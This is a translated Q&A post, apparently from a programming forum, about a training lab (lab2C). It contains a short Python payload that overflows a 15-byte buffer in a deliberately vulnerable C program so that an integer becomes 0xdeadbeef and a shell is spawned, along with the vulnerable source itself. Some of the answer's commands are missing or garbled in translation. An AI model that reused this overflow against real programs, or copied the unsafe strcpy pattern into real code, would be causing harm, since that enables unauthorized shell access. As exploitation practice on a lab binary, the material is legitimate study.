我想通过管道将我的 python 文件的标准输出exploit1.py
作为 C 可执行文件的命令行参数接受lab2C.c
。我的意图是溢出 char 缓冲区,lab2C.c
以便内存泄漏到int set_me
. 这将导致位于 main() 中的条件语句调用 shell() 函数,即使我没有输入任何正确的密码。
问题是exploit1.py
和lab2C.c
位于不属于同一本地路径的两个不同目录中。exploit1.py
位于/tmp
。lab2C
并且lab2C.c
位于/levels/lab02
。如何通过管道将标准输出exploit1.py
作为主要功能参数接受lab2C
?
以下是两个文件供参考:
漏洞利用1.py:
def main():
print("aaabbbcccdddeee\xef\xbe\xad\xde")
main()
实验室2C.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void shell()
{
printf("You did it.\n");
system("/bin/sh");
}
int main(int argc, char** argv){
if(argc != 2)
{
printf("usage:\n%s string\n", argv[0]);
return EXIT_FAILURE;
}
int set_me = 0;
char buf[15];
strcpy(buf, argv[1]);
if(set_me == 0xdeadbeef)
{
shell();
}
else
{
printf("Not authenticated.\nset_me was %d\n", set_me);
}
return EXIT_SUCCESS;
}
您的 C 程序不会从标准输入中读取数据,因此无法通过管道传输任何内容。它需要命令行参数,所以你必须调用它
如果您目前位于
/levels/lab02
,那么这可能会缩短为.exe
请注意,在 Unix 上给可执行文件后缀是不常见的。您的代码中也有错误(缓冲区溢出和缺少标头),并且 Python 代码中的字符串没有按照您的想法执行(斜杠可能应该是反斜杠)。